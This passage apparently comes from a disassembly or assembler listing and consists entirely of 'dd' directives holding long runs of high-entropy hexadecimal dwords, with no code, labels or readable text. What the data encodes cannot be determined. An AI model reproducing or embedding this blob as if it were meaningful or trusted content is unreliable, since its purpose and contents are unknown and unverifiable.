0C8AC36F0h, 69C70904h, 0A0381887h, 1C7103Eh dd 0FB5B21B9h, 5180C2E6h, 2D901F32h, 1103DA08h, 0EBC19FDBh dd 2A83A5A9h, 7EABC10Dh, 31C8CC4Fh, 1AB9FFC0h, 0EC5D48C7h dd 35B82490h, 1D85008Ch, 0DEA7ACFh, 0D7280753h, 0F0A7847Eh dd 61607444h, 0E87C9178h, 1A187C98h, 0B5A05AF3h, 96F26F1h dd 1A83280h, 3A80B930h, 2246C42Fh, 0D18C0036h, 7669F580h dd 53155F04h, 7B4C1E7h, 0D6E88750h, 1D2A30F0h, 0D4A00097h dd 0AA5A64A4h, 3018129h, 0BE578B3Ah, 84CCF2A9h, 0E3D224C2h dd 81DD0094h, 0CC6B0FFFh, 598911DEh, 0FE6C003Bh, 0CFC3E307h dd 39C48718h, 85A4033Ch, 0E598260Ch, 0BA4D8004h, 3B2DA132h dd 2E1CF64h, 2E80B860h, 11D1C423h, 0D058712Ah, 66B3025Eh dd 41A643B6h, 5E825A40h, 0B193D148h, 87687460h, 98BD5718h dd 77080C88h, 4EA0CFE3h, 3ED1887Bh, 57DEDD5Fh, 68C038E0h dd 21051521h, 789101CBh, 904226h, 7AC45EC9h, 2C915C97h dd 0B4607E12h, 24B70234h, 70E8403Ah, 2003CF3h, 0B2F7BB0Fh dd 188D19EEh, 0A8E41F0Ah, 8C54915Fh, 48CD250h, 517216Ah dd 277262DBh, 0D6215048h, 0CA18D269h, 0F519829Ah, 0E2630FCBh dd 0B9E10368h, 0EF833DAEh, 0D1319105h, 0CC103930h, 73401890h dd 16107A39h, 452D9BF1h, 4044A494h, 962997C8h, 1F005761h dd 2EE6AE02h, 3FCF1814h, 0D981662Ah, 0D39DC989h, 640882E1h dd 0FC7B287h, 258C2480h, 0CE01FD5Fh, 7FE7561Eh, 2980D355h dd 95653BC9h, 11C0A1B1h, 2B4306FDh, 0E97D1Ch, 661924D5h dd 99FF8ABAh, 55B9B600h, 1846E55Dh, 0F93F00C0h, 79C8B454h dd 9300378Ch, 20A011A4h, 30825174h, 0D63873B9h, 0F401C2CDh dd 9E23C83Fh, 898B837h, 0C5F821D1h, 0DADCC200h, 9A4B1D75h dd 23C70031h, 0AC11093Bh, 2218F4BCh, 0EA30B499h, 74FAE61Ch dd 7BDBE0F8h, 8213023h, 9EC36928h, 36F7C507h, 0E7D3B69Ah dd 0FF0800A0h, 0C45778ADh, 0D2068B5Dh, 805F2FFEh, 7A9F31B0h dd 301A6EE1h, 0EA01FB8Dh, 5FC6062Ah, 50D82158h, 36400104h dd 8346F961h, 222C4384h, 861DB999h, 9E315C80h, 4F2A0C18h dd 66608637h, 210E740Ch, 37C5F1C2h, 3A105F5h, 28B6034Fh dd 0EE49C00h, 7158AC51h, 0C9B60C04h, 0B9699DE7h, 5E371400h dd 3982A23h, 97FA3A1Bh dd 0DF21B030h, 0AB00370Ch, 0BDDA1CD0h, 148350B7h, 707072B5h dd 0E7BED907h, 0CBC2705Bh, 0B9C2853Bh, 9D9EE834h, 80D011DCh dd 52257AD3h, 0D4D90304h, 7B832788h, 6B1CD00Ch, 8CC3C8E2h dd 58370E0Dh, 6412C023h, 6D920B5h, 0FD07D437h, 0DDCEAAF6h dd 0D1891973h, 58837807h, 0A7E84BE1h, 0F2C313Ch, 0A0F4AD32h dd 0D1C1363Eh, 0CC03006Ch, 9AE94237h, 5D00B3BEh, 5995742Dh dd 64C3D1BDh, 60C89892h, 2B5D3713h, 11B02223h, 0BDE00B4h dd 0D8E53D37h, 0D37131h, 8880DA77h, 0A3E92C5Ah, 440029DCh dd 0D64C147Ch, 0B4A60223h, 0A1E529B5h, 9A699440h, 35C0912h dd 0F51F0047h, 0F688CFB0h, 807719DAh, 801408DEh, 79ED4221h dd 0CFA9483h, 0C5FD0941h, 0E0E3FB48h, 2F14FF67h, 68C9D87h dd 0BAC910E7h, 9AAF2820h, 25046E8h, 3FF3C2CCh, 40DC33C0h dd 41C2C4F7h, 0E61E1968h, 1852400Ah, 0F5C208CEh, 0CDC4D03Fh dd 0C2C6F940h, 640619DEh, 0E59A92CAh, 20646F0h, 88CC79F2h dd 101B31DEh, 1F79EA3Fh, 80D78287h, 0EEAF6DC3h, 59000F07h dd 178C9DB5h, 750585CEh, 82830CD6h, 380B812h, 0E8C5B62Bh dd 5A371001h, 120E0A23h, 340008DBh, 80A9C2AAh, 0E6827BBCh dd 60D56FEFh, 6A4C6C40h, 60A40D9Ah, 0D379F904h, 1C621688h dd 79F14620h, 0A60400ECh, 0B01A21CBh, 0A74C313Ah, 295D1068h dd 0AE83820Dh, 50C5D989h, 0C495C6A0h, 80751239h, 0B61C7E7h dd 7FF42A2Dh, 0BC5437D5h, 0B0F8E129h, 8AF441ABh, 88D44E5Dh dd 3FFDC0CAh, 0AD60B101h, 0BA82C048h, 0DBBC14FEh, 0FA7080E6h dd 21BC9056h, 5F2CA5A3h, 1076E30Ch, 71311B41h, 0EBD840BBh dd 0F83032C5h, 220F28F9h, 70756161h, 642D08B7h, 0A164B814h dd 0CCB03F9h, 0F7C0B4C8h, 11D93h, 3224B3C5h, 0A66CFA7Fh dd 0B65B8201h, 0BD8FB4FEh, 5DD5C09Dh, 30116E83h, 0F9C59540h dd 0ED40B54h, 4A81F52h, 0C8F12941h, 8F266500h, 24B2C16Ah dd 0A19B1B20h, 0F8190B64h, 8823D179h, 12171106h, 0F714EF44h dd 0EE37064Fh, 1CC9A9E8h, 83813C5Ah, 68892F7Eh, 2CE743F8h dd 19796E0Bh, 44C1AFFh, 0D26056ECh, 3F23F9C2h, 0FDC43DF0h dd 0C8CA4Ch, 0C57D6F18h, 160E7A27h, 407B9F6Ch, 0E72E5200h dd 0D903CDA4h, 0E1113FC7h, 5AF826A2h, 80CA1188h, 235F3715h dd 10FF8C32h, 0FE370DE0h, 12CB1C59h, 0BC8DC062h, 0E16B25AEh dd 6740648h, 0EAD7C29Eh, 73C08181h, 0CA80814h, 0D279F8C0h dd 220E4688h, 0F0450019h, 1164379h, 0F7285176h, 6520DC92h dd 0EE813C1h, 23043EB6h, 0A34F0EB3h, 0B1103901h, 0B308203Fh dd 0B1250E80h, 829E0A78h, 0DBEE80A4h, 0A0E643DCh, 81F9400h dd 0FBEB0434h, 2048B8B4h, 0D1142449h, 23E45A8Ah, 0C2D00154h dd 18E03FF7h, 0C8FB88D3h, 2E0AC200h, 9D789CF4h, 5BC4023Dh dd 43BC977Eh, 79255068h, 0B8D7FF28h, 7D225920h, 0D987303Ah dd 14DD3120h, 6DA91206h, 46898B6Eh, 0C2D10255h, 67E83FF8h dd 0C9FC0714h, 7C9F43C2h, 5259F900h, 5F042A93h, 0F51909F8h dd 0B8277FBCh, 0A8384C6Ah, 31803B30h, 6F83BCFCh, 0C1F20E7h dd 72A80759h, 331CB551h, 30B2A2C4h, 250F1464h, 669DACD7h dd 10592BFDh, 2DF6B95h, 906775A9h, 446CE7DAh, 830260D3h dd 300C009Dh, 13A2A891h, 0BC19F6C0h, 9A60D76Bh, 0E9D21030h dd 9C1B6500h, 1D27CB1Dh, 9034C9DDh, 771E3480h, 0D44D8274h dd 7F9F59E1h, 9668A850h, 74EF1E2Dh, 9A4640B0h, 9B5A633h dd 30BBD12Eh, 0F4630844h, 0EE88CED8h, 411A448Ch, 0AA79EC00h dd 514F8A67h, 476D00D6h, 0F990BDDAh, 0A91BBF7Eh, 8081D43Ah dd 5104E58Dh, 0B44BDC86h, 36C3B5C8h, 685D82Ah, 5E6009D5h dd 0DC1A9FB8h, 5E6F404Dh, 24B749C0h, 0F27774Bh, 0E1941B9Eh dd 72E98FA3h, 973CBA8h, 1C81751h, 0CD33BE0h, 0F0A04C52h dd 8C1BF8h, 58916707h, 0F7D6CB5h, 570D82F2h, 58119C0Bh dd 0E3BCF430h, 0F96B2200h, 8A489D0h, 9185D4A3h, 371180C6h dd 9912235Bh, 9DCC058h, 4604F037h, 0B4F1D2CAh, 0C041E4C1h dd 3A9BC600h, 0DE48B1FEh, 8CD2E838h, 7E038C00h, 4E63D908h dd 37AF0019h, 4F69CA75h, 27182888h, 7DE082E7h, 0CE0304B5h dd 8ECDE421h, 0C0B588E4h, 586FA7CAh, 0F28A0507h, 63635FD6h dd 1708A878h, 0B80C545Dh, 54A037Eh, 5E9B9DE8h, 0BC367880h dd 0DB80BF00h, 70D683BAh, 0FFDD04E7h, 90779EF0h, 5D5E9358h dd 7BFD1501h, 43F4BABEh, 218C089Bh, 0C05D56C8h, 0A9E4EE74h dd 0C8F50C31h, 0B8448CFCh, 3B27D002h, 1B94587Dh, 0C1A88682h dd 9CA1BFB2h, 706D97E4h, 0D07DE67h, 500406B0h, 90644100h dd 154B3699h, 0EC46A041h, 115D5A02h, 8E315BFDh, 5DD9C014h dd 0ED001E2Ah, 0C5C07DC9h, 4B30E964h, 8C0401F5h, 5391BF27h dd 394975C8h, 30AC0348h, 53F76123h, 18E27471h, 3B32F30h dd 0DD882312h, 0F900C182h, 0BB7CFD1Ch, 0ACE5F7h, 0E9BDAA49h dd 4BE28B58h, 0FF15F504h, 0B890CFBCh, 0E28376A5h, 0F9F89134h dd 5018B5h, 4445BB38h, 65CDE6C0h, 92615814h, 0C2011084h dd 97B87501h, 392BDDEBh, 0E88C48B4h, 2B008C18h, 28E394EDh dd 15979983h, 0E0EBFFDEh, 105D5980h, 8753FDh, 975D51B5h dd 8201CF4Ah, 746D0228h, 2180859Eh, 5C20D7CCh, 7502FAF4h dd 3D48C371h, 4C9AC032h, 80F91F4Bh, 56550168h, 37011410h dd 0E2A0421Ch, 554430B7h, 8BBE9C00h, 21F146FCh, 0DA1600CAh dd 8DF708Ah, 2C90BD0Dh, 112C605Ch, 10223CDh, 441E2816h dd 0B3113C97h, 0E8E9DD8Fh, 75C66500h, 0B509EE93h, 0E8888323h dd 2043CAA4h, 0F4702035h, 0D856504h, 9CF58314h, 9D94E8CFh dd 454C0164h, 1BDEA4Eh, 0D644346Eh, 0CDEC2B12h, 1E67A8C8h dd 8048883Ch, 5B468EDCh, 390EE66Ah, 68527A83h, 78BF87BBh dd 0D3892F02h, 879128B7h, 8D837D81h, 4274239Ah, 3088E224h dd 0F8703FF7h, 67367413h, 0E9324460h, 0AE410E5Bh, 788CA94Fh dd 5531CA39h, 0BE0358F9h, 8C4F0060h, 0F2C2CB05h, 7CCEB83Fh dd 0C2C3F600h, 0A69A8B94h, 0FBA71200h, 0FD9B0C08h, 0C123209Ch dd 0E9446891h, 0E5D5760h, 1143FD23h, 4FB30090h, 9CC5525Dh dd 9A211DBFh, 0E03446Ch, 0FC64CD8Dh, 5804FE32h, 0B32A88A1h dd 8BE6CD8h, 7948CA5Ah, 0CB1F28E0h, 9F40C987h, 0BE19B010h dd 8C30A900h, 6E10B726h, 70350074h, 76C5A667h, 5A5C0AE5h dd 9A531004h, 80D09A93h, 5158EF9Bh, 195F020Ah, 0E84B0143h dd 29222058h, 321C07BAh, 0CC6E41D4h, 0B4159CA1h, 26ACC45Fh dd 59302697h, 0FC36B7h, 17BAC8DEh, 0C4E11EEBh, 10C06D04h dd 0FCD9E87Bh, 0D3BC142Ch, 51FC008Ch, 754D900Ch, 82008F59h dd 0CDF6FEE8h, 91203D73h, 4B3F00FCh, 0E7FA543Eh, 0B760F818h dd 0BBFBF4D8h, 59650E0Ch, 80C6B004h, 0F958DCA0h, 0B4758406h dd 50E0C227h, 140FD81Bh, 0B4A58C71h, 146E5Bh, 4FA649BBh dd 3FFE645Fh, 5190237Ah, 16FC392Dh, 0DC29BDC3h, 8988544Eh dd 0A4C53C0h, 0D61C0259h, 5C06B2DAh, 0C966D090h, 996DE700h dd 17A02B41h, 21201F3h, 0A49024B7h, 0E7DC204Fh, 0C8F87924h dd 77CC46D4h, 8B67B702h, 81852B4Fh, 0A109B5F8h, 0D928D9EEh dd 0E6181Bh, 7E98765h, 0BEF8D486h, 0B0510E16h, 0F0723029h dd 4930B0B2h, 0DA4200C6h, 12886080h, 99899BC7h, 0CCA25423h dd 133BEC30h, 498D8AC3h, 0F4C79AF4h, 4961AEC4h, 2A7DDC25h dd 8550E8BAh, 50BAA428h dd 0B4F2E443h, 3D87230h, 0A8541A2h, 95F18340h, 689DC1DFh dd 8E5459B4h, 0B9A106E7h, 41B74B18h, 756B2284h, 72A08C15h dd 0E7EDB0E1h, 83C97600h, 0A8A765F8h, 0C960CEC4h, 0DA011AA6h dd 5E6C077Eh, 21A4C683h, 232B075Ah, 0A013F741h, 2C35C338h dd 74A52600h, 0F6C16B0h, 879CB424h, 0C834F8DFh, 6BA36002h dd 13D8F8B5h, 2085C0FEh, 8AD9B67Ch, 31418B05h, 8442A2C1h dd 67741B1Fh, 61CAC460h, 85D7C546h, 0EAFBE040h, 1852C606h dd 79743BA9h, 0CB0C0ED2h, 2901F3C5h, 10FB025Fh, 0DA9E88CCh dd 18EF0C61h, 2314E25Dh, 8D1273FDh, 0F20080A3h, 0D39167D6h dd 37E083DDh, 848F433Ah, 0B9D92941h, 0F03FCC88h, 3C7CB6BDh dd 23C83A5Eh, 83ED00D1h, 63879066h, 9194438h, 800B5175h dd 0AFEC8570h, 847C26BCh, 761D41B4h, 0BCB06879h, 0A34C8C14h dd 28DF04F4h, 0E03CE2Dh, 9127C721h, 0B4ECA09Fh, 22E807h dd 1DFB3067h, 0A60235D9h, 234FD506h, 468097BAh, 79F30207h dd 1CE688CDh, 79EB4004h, 3CC2C209h, 0B9E461FEh, 9E262503h dd 8243E427h, 3A9100C6h, 0BD721034h, 7000C37Bh, 8B0F836Ah dd 4CA63C65h, 551994BCh, 0E61CC9A5h, 530DF20h, 5CA195A3h dd 14150F80h, 0CF23D02Eh, 79635A00h, 0F85FC92Eh, 6B045FD3h dd 7BC3F44h, 670E4F2h, 9961FE47h, 0A822A93Bh, 8D1BF700h dd 0C0C563C4h, 0A2555C19h, 6032E740h, 6137F601h, 68CB871Bh dd 8C13E804h, 5725BB7Ch, 86E0419Bh, 0C8FDC6Ch, 0C8A4CE72h dd 3400CE19h, 40C26D7Ch, 0FF1CFB13h, 0B6BD33F0h, 51C3005Ch dd 31CD6B23h, 5ED210C0h, 9274991Bh, 0E5C33F0h, 0C6B0FA51h dd 47F4819Dh, 0FDC72000h, 0E0D2137Bh, 0F4E06C1h, 0B974071Fh dd 39FDh, 0B07D6880h, 1439CEEAh, 94856531h, 3AA8FF04h dd 0DD6C9295h, 8771F059h, 5C32DC18h, 61C66944h, 28215F6Ch dd 99023C78h, 0AEB130D9h, 0C94454F0h, 0E1AF4824h, 89A13575h dd 0E28CE3A8h, 810B30B5h, 0E9E5E202h, 43C363ACh, 1196F16Ch dd 0B240B215h, 0CE2630D2h, 82B92C1Ch, 2E22974Fh, 98FE8037h dd 1A0B73B5h, 608F1F57h, 0F8E807h, 988B4F42h, 0CC30E777h dd 5DF5F0A8h, 838215BAh, 0CA4A704Eh, 0E3DF6Ch, 0ECEE89Ch dd 8E07189Eh, 6B257DA9h, 0FCB42025h, 3BC25E43h, 0BB12328h dd 0C8278B3h, 0D071EAF7h, 52A0F300h, 1C8AE8h, 9D5847E4h dd 21A15F74h, 80DD1A3Eh, 49BDCBDh, 2F3FF870h, 68372378h dd 6AA6EE00h, 548244B1h, 68C4C8h, 0EF457F5Ch, 0ADCB021Ch dd 21B7B000h, 0F57C62CCh, 88BB0A7Bh, 82F4A34Fh, 43B4FF14h dd 832480F0h, 6CA464D8h, 2CA4674h, 0FA32C52Bh, 0F87A83h dd 0FBF849A2h, 0DB68F4D5h, 2703A001h, 0F5BB64Ah, 6A6024h dd 45282A57h, 0A45D7E82h, 8C3C2C01h, 5CDBFE62h, 0CF007422h dd 1630E34Ch, 0E45A9CF8h, 15234C2Fh, 0B922502h, 0BC8449Eh dd 714C9D7Ah, 1B6A6AE0h, 8FF1A600h, 466CB8E7h, 98160581h dd 907528C1h, 53585ED4h, 853A5026h, 4CA6E512h, 0A5A384E0h dd 0D2015813h, 0D829FF04h, 8C0049Bh, 0F1D6F40Dh, 9D432312h dd 62D7044h, 16E250E3h, 16720430h, 4AFF07E0h, 404CC4B0h dd 2359370Fh, 0E0500258h, 3707DAh, 74C13356h, 3552AC92h dd 759EE800h, 328F7F0Bh, 7CF62EDAh, 178D11F0h, 880E722Ah dd 9202F081h, 308308EAh, 410EE879h, 109E8158h, 90D07EAFh dd 917A2EDEh, 824F09D0h, 0DF84D0E8h, 395883F4h, 49F90973h dd 0C4E865DEh, 152E618Ch, 67F8B7C1h, 20590F66h, 25B6FF26h dd 0F290F278h, 8D8C30D0h, 0AA598709h, 1B518548h, 1D3734C8h dd 0C9D4DE62h, 0D479FECAh, 124AF0Eh, 100D4B9Bh, 7059F040h dd 0D6389604h, 6051AE00h, 0B878FDC2h, 888000D9h, 590F054Dh dd 710258B0h, 0B9093FEDh, 5DC484CCh, 0AD219CBDh, 465CC8A4h dd 1CE20EAFh, 581109B7h, 4F8A0DC0h, 55E07FE7h, 0E350A680h dd 54FE8863h, 7FAF05D9h, 0C5393AAEh, 2263009Fh, 63C6BDE7h dd 0E2115C25h, 65704F88h, 0F15C8257h, 19BD24C0h, 76F2FE81h dd 0B2465E58h, 0D7F0681Fh, 9C5C0013h, 0BEC76799h, 8CAC8A9Dh dd 4AABD08h, 9B989165h, 60F7CE60h, 5193D040h, 8044BEE9h dd 14DDCA32h, 78020336h, 0C7F0022Fh, 60C9C253h, 80CEA308h dd 0F8F18EC5h, 9F0FABF2h, 973EA9D7h, 72CB044h, 0CDA4E152h dd 0C4CC6C8Ch, 0AE002E59h, 693CA9D8h, 688B39D7h, 61C08DC8h dd 17C9E6C8h, 5549F67h, 82334D1Ch, 580A8564h, 0BAF0508h dd 20A45BF5h, 0AC9A344Dh, 0C48D0ED2h, 5323D0C0h, 1CB9151Dh dd 64C4E5CBh, 0E98E61B4h, 3C444FCh, 8ADA70F8h, 0BDA0118Ch dd 9E2BC0B9h, 0CE582CC2h, 502002DFh, 5D764D23h, 0A100D451h dd 7915EB48h, 594C0708h, 20E7C736h, 39520D0Fh, 0B0B74009h dd 0E106033h, 88CC4E20h, 0C344E974h, 6F9D061Bh, 21C4835Fh dd 71013F08h, 5A8A0FAEh, 380C290Bh, 41165D11h, 402F6A4Ch dd 70001523h, 0F97DDF5Bh, 50CA60DCh, 8FCD6BFAh, 0AD590E05h dd 4C8EBFFFh, 0B0C2B588h, 1DE6588Bh, 0F9705736h, 1F8A3392h dd 0E431D324h, 3AE9CFBCh, 84F6FC48h, 0BCF72AC5h, 148BD64Ch dd 4CC08EC8h, 1D0A4AAFh, 9F9F8F46h, 480DD1C5h, 71431278h dd 9CFC74C1h, 3820CBE5h, 0CB59FFBh, 91831891h, 0B1F92DFDh dd 168892Fh, 92847B10h, 0B0B4A604h, 1883604h, 5C28BCC9h dd 21928F8Ch, 7C1F908h, 892B27E1h, 2031D824h, 8A2DB981h dd 91749792h, 0CB009CD0h, 9C86E8B3h, 98895819h, 60748271h dd 5EA21340h, 0B2581556h, 0FBAC3473h, 17CB73Eh, 0EC42B5Dh dd 0C833A851h, 0D7308BA2h, 7FAE01B7h, 8FB4FD75h, 8583CE5h dd 1F1A896Bh, 0C42716FEh, 882CCEA8h, 824BC2AEh, 180198E4h dd 6CA4B7BDh, 0D6D1CA2Ah, 0C5BEC0FFh, 8CAC94F7h, 9941270Eh dd 35DE152Fh, 9C1A877Ch, 0F7750006h, 3D31A9A4h, 0F9FE2176h dd 496B39E1h, 74518228h, 0A56B2403h, 5CF8072Ch, 0C4B591B0h dd 734C066h, 77562510h, 2B07B048h, 33583EF7h, 0A1B711FAh dd 80730078h, 59263689h, 409E5F11h, 0D09A6CACh, 66091FADh dd 0F3D3B425h, 0C18370E0h, 8A1FF607h, 8B452728h, 8501E0D0h dd 108097FFh, 14816BBDh, 1C570380h, 0C0604B58h, 5FC415E4h dd 0D53E7C24h, 0DA9F048Fh, 5C82B31Ah, 8060D6E7h, 0D933B980h dd 8700D740h, 53FDCBF1h, 1F743429h, 8EF9C3DDh, 41005FD2h dd 0C88C816Ch, 0D08E3D05h, 0E0CEDE17h, 0D3C0B7C8h, 29D1C10h dd 2CFA650Fh, 98798ACDh, 17378884h, 0F943C090h, 0CB9002FCh dd 0BB5A8279h, 18EA9461h, 0F5D0958h, 981C4BFDh, 5D50B400h dd 0AA48FE9Ah, 94FD0861h, 0CB02D70Bh, 0B25F94Bh, 0A458F462h dd 0B8FC70E1h, 7D982151h, 44BB8CCh, 4D53CB06h, 0C4F0C913h dd 2FE86541h, 58170B4Ah, 280CC9Bh, 4F013058h, 9E92BB20h dd 5327016Ch, 2AAF9B3Eh, 0D25B4804h, 77899900h, 6CB62FB4h dd 0D9F09827h, 652D0BBEh, 0EC47F15Dh, 17910708h, 9FFC20E8h dd 0EE135EDDh, 7C9DF4C9h, 3CCC383Bh, 29DC905Dh, 0C607945Bh dd 1D305346h, 2E87DBh, 39DCCCA1h, 1ECBCDFCh, 5D2BDF00h dd 0A5A0BE71h, 16F8ECD5h, 0A4D91141h, 50505898h, 0B65A7DC0h dd 5CF6BC13h, 0B7654CE0h, 0D1F3A000h, 7F6146Eh, 204490D4h dd 1C01A593h, 0AF8EDDF5h, 91E85ED5h, 21842A83h, 67EC8188h dd 274857E4h, 0C0691569h, 307B3ECCh, 24C46407h, 8161C0BEh dd 8333CED1h, 84C5E918h dd 64604889h, 853B01B5h, 589AB2Ch, 0E481129Bh, 60C007B0h dd 5094FA8Fh, 9BBF97AEh, 7B687103h, 0BD4F8AD0h, 5D145CD0h dd 4BF89C30h, 13594059h, 0C6298118h, 81B2841Fh, 2FA88116h dd 17007F07h, 37188CD5h, 0E710A28Fh, 0F0855928h, 0B5BD8006h dd 75033872h, 0EFC58BAEh, 0CD7BA7D9h, 0A6D1C094h, 6A5BA512h dd 0B0919CC0h, 48F65B34h, 467E2F10h, 0E56C00B0h, 478C7569h dd 54A797D7h, 0D303E81Dh, 0BB210Eh, 0AA77191h, 80D9FA74h dd 53A8C3Fh, 5C162A61h, 890010B9h, 0A024F4Dh, 5B0946A6h dd 46C91DBh, 0F3409A38h, 0A951C408h, 57CDE71Eh, 0E808171Eh dd 121580A1h, 0D848ED37h, 4D8FF62Fh, 9BA2C084h, 8BE6AD7Ah dd 8CF3902h, 197AB4Fh, 2D04129Fh, 1EE23C4h, 0FD135D5Ch dd 0C42C2F6Bh, 5D5439B8h, 81EC8A9Fh, 44654760h, 88E0F20Ah dd 0A9E024ADh, 768A88F2h, 0B52C707Ch, 5E53F800h, 63EF41C8h dd 2F704A5Ah, 0BAF23E4h, 34597A0Eh, 0F1592800h, 0E8D2BC8h dd 7157E2FAh, 49797402h, 40D8B0C0h, 3410C04Fh, 8CAFE8ACh dd 446B7E2Dh, 17F000ACh, 0F6119E3Ah, 0FB17DF28h, 9CB2FCF8h dd 0C8E0CB4Bh, 65EDC08Eh, 3009C8A2h, 8EE35EA5h, 0C7D22160h dd 446BB4FEh, 0A679258Ch, 0B89DE340h, 0F6682153h, 0BECB20B4h dd 789E5B13h, 15231C3Ah, 0F9EC4400h, 4FE52941h, 2E5864B8h dd 0A892380h, 0BC46A95h, 0F0221D73h, 8CD9D79Eh, 8818AF79h dd 839F4918h, 0DF9261h, 2905CFEBh, 0F44CC41Eh, 0CA3B5D00h dd 3306AEC3h, 7BDC014Eh, 0DAB688B1h, 2D98CD82h, 82BD7B8h dd 6D031A23h, 0C8ECA84Bh, 96D6B09Dh, 3CD969B4h, 0B2E7A100h dd 710F4BAAh, 0AE8301A5h, 4D62BD46h, 0D46C716Ah, 1448C6A3h dd 102F4EB4h, 0CB00B123h, 0E5F8797Fh, 58AB000Ah, 0D4F29371h dd 494A1D0Eh, 3141D802h, 79B787F9h, 0FD8E50C0h, 84BF5E84h dd 5FA0F6F0h, 0CB23102Bh, 3400B317h, 0F4EA58C5h, 6B251C14h dd 0A41AEDD1h, 8260B86Dh, 0EEABACh, 8BB8C0B5h, 0B13BC35Eh dd 5C582165h, 0F37488h, 95FE8148h, 529BD654h, 415AEC00h dd 5C434AADh, 0BC0DE440h, 0F49F1654h, 0CD07D4DCh, 0F4535E54h dd 2F80D324h, 5EF12C62h, 0E878C537h, 30DEBDF8h, 9C098E93h dd 7A8C82DDh, 737E2E4h, 0E1786D6Ah, 3817594Bh, 96831991h dd 8CF88EA6h, 0BF3A66D3h, 80BDF3F8h, 0ED5323B8h, 2AC910Bh dd 10A3EA9h, 88D9CCD1h, 6024018h, 4FD35866h, 1264C4B9h dd 3A74771Ch, 1C2398h, 483F1017h, 0B0124151h, 791D16E7h dd 733B6E80h, 5C3CF9C5h, 19F8749Bh, 538A008Ch, 0F24E327Ah dd 11173FE1h, 0E4B2AED5h, 0CBBCFF0Bh, 7790F040h, 1E0E780Bh dd 5BE0ABB1h, 0C09A7190h, 35007FFAh, 0D5D71E9Ch, 4FA909B5h dd 23E43BA6h, 13FD001Ch, 1BA121F4h, 0B3AD1409h, 0CB4C6CAh dd 0D6BBBC7Eh, 41128FC8h, 0B03A5B6Dh, 203AE23h, 84016BC5h dd 803CB0h, 2AD23081h, 7A7F35Dh, 4E858280h, 88B4CF02h dd 71E4C1AFh, 30229Eh, 41227AA8h, 73A218EBh, 0AD61006Ch dd 23ED27F2h, 2EE6F040h, 8983370Ch, 924499Ch, 0C6E8D3AEh dd 55D81C73h, 0DD7331h, 71897C78h, 9D7625C5h, 7AA88451h dd 0F3F0A433h, 73B104F8h, 0BD3B615Eh, 95120350h, 0B19EF539h dd 398BE027h, 105BDE76h, 0FED9F558h, 0F4F02F10h, 0A311A067h dd 0EB271458h, 544E348Bh, 915C159Dh, 72C79E88h, 8EE14F8Bh dd 8866A011h, 9CAAE815h, 9BA1816h, 0A68E1554h, 88628A60h dd 0D0018C5Eh, 3B233935h, 346C1D75h, 9FECCBB4h, 0C74B00E3h dd 9F538532h, 973B960Bh, 11481D2Ah, 2B4080D1h, 12FECD59h dd 0B80DDDD5h, 8CB2BCA0h, 0EF7B2802h, 0E0ED804Ah, 83AEDD84h dd 73D72F80h, 9F159CA0h, 0D6AFBC16h, 0B2C8B0CEh, 0C4295BC0h dd 0E44B4C25h, 4226110h, 435730D3h, 1941F0A0h, 809D94F9h dd 2C2F3B60h, 52008C7Fh, 17726F61h, 566BFD93h, 85B05843h dd 0E30B39BFh, 4841A991h, 48ED31B4h, 81C77E4h, 8489674Fh dd 0C100C4E4h, 233566C3h, 0E1CF9F5h, 0B708A732h, 0D0ADE144h dd 0DEA825D4h, 465C6096h, 0A07E008Ah, 0FD1692FCh, 0CC0B24BCh dd 714389CCh, 5B5AE850h, 9692D890h, 76E30084h, 0C79F2467h dd 1EF2138Ch, 4B0EA6E0h, 60771B66h, 8317F4F6h, 80A25488h dd 440490EAh, 0E4FC5D59h, 56886A69h, 9203DC90h, 2544E131h dd 5FB81177h, 727325D0h, 45E2710h, 0B1E40867h, 822A6B60h dd 0A9575F02h, 595E676Dh, 67FC7B94h, 23D11A20h, 0CB1D016Bh dd 4BC3A7EEh, 70707859h, 7B4B84B6h, 63C700Ch, 0A2EC0F1Dh dd 0C4D1A5h, 80365B9Ah, 0CC983C9Ch, 4C31F55Bh, 15007BFBh dd 709EE804h, 0E2E37D80h, 0B8A5D61Bh, 14EB0961h, 0E8796A04h dd 0C0191A71h, 4C0C0643h, 5E2D99B8h, 3025FDBCh, 0E8187078h dd 0AA3B799Fh, 93C68617h, 0FF65519h, 26FC0885h, 8C4D5h dd 9490A7C7h, 1F098CA3h, 2157602h, 2BB129F0h, 487EAC42h dd 0B52F3BDCh, 1E18C882h, 207683CBh, 0D9C980BFh, 8F43894Eh dd 0FB4A02CCh, 6D53D71h, 0A9D541F5h, 6BC8E0CEh, 0DA9E0789h dd 0F592C5F4h, 0B6AE0A77h, 8C465C48h, 0C64C4F02h, 24C298E8h dd 0DE7C7Eh, 40F46296h, 351AA3Dh, 0C92C4BF8h, 4DAF800Ah dd 0A7B060C4h, 6209903Ah, 80B4BF56h, 4381EA48h, 35CA0911h dd 444D79CBh, 0B950D2C7h, 0D22E370h, 1201C5AEh, 54882E21h dd 0EE0D008Ah, 9B96BF8Fh, 0D09F3114h, 0B5CB1286h, 0F0ACB647h dd 1706168Dh, 47038475h, 22B5F94Ch, 4851AC34h, 911819D9h dd 0F0154E02h, 81806AD8h, 9FE4BB94h, 701050FEh, 5C31C05Bh dd 1CAA31Bh, 31BCB007h, 360F4049h, 2CC924A3h, 1CC4F847h dd 60D0A960h, 7A00DB75h, 3F90FFDh, 35114193h, 0E6F0C769h dd 0F12CE0F4h, 0D1242F61h, 869F6418h, 90002092h, 1839EC7h dd 7131BAA3h, 0B0570069h, 0FDA28011h, 48BCE934h, 9C8FF492h dd 85C0B788h, 114F16Eh, 434E8AE1h, 0FC1C727Ah, 73481DF7h dd 72AF2578h, 80C2792Ch, 5B0C331Ch, 0B1BA9F1Bh, 94BE0082h dd 9A02F97Dh, 0D8A479CCh, 19596503h, 24CAE897h, 125EC479h dd 6920BD15h, 9748F8B0h, 0F880B83Dh, 232043C6h, 0DD531027h dd 94FC042Ch, 1B00D65Bh, 99FE72D9h, 0E800B55Ch, 5A588C8Fh dd 0FA5017Bh, 0ABC3C4D1h, 126AF1FDh, 0C8E4CB44h, 71C5C014h dd 0A19544A9h, 905DC378h, 431C70F2h, 14CA4E16h, 38C7D2C8h dd 6440BD70h, 5B4F1311h, 0C81C9A84h, 6A3C116h, 60EA70D3h dd 2C1CFA00h, 0B870BFF4h, 0D9D71783h, 80B004D4h, 6CF4D0D5h dd 9F359390h, 6CA3684Dh, 0A13090A2h, 0CAB500A0h, 1261D880h dd 0AF2EF818h, 0D908EC9Ah, 0AE50AB4h, 0CC467494h, 0F870CF3Ch dd 80D35F4Fh, 0BC9F0870h, 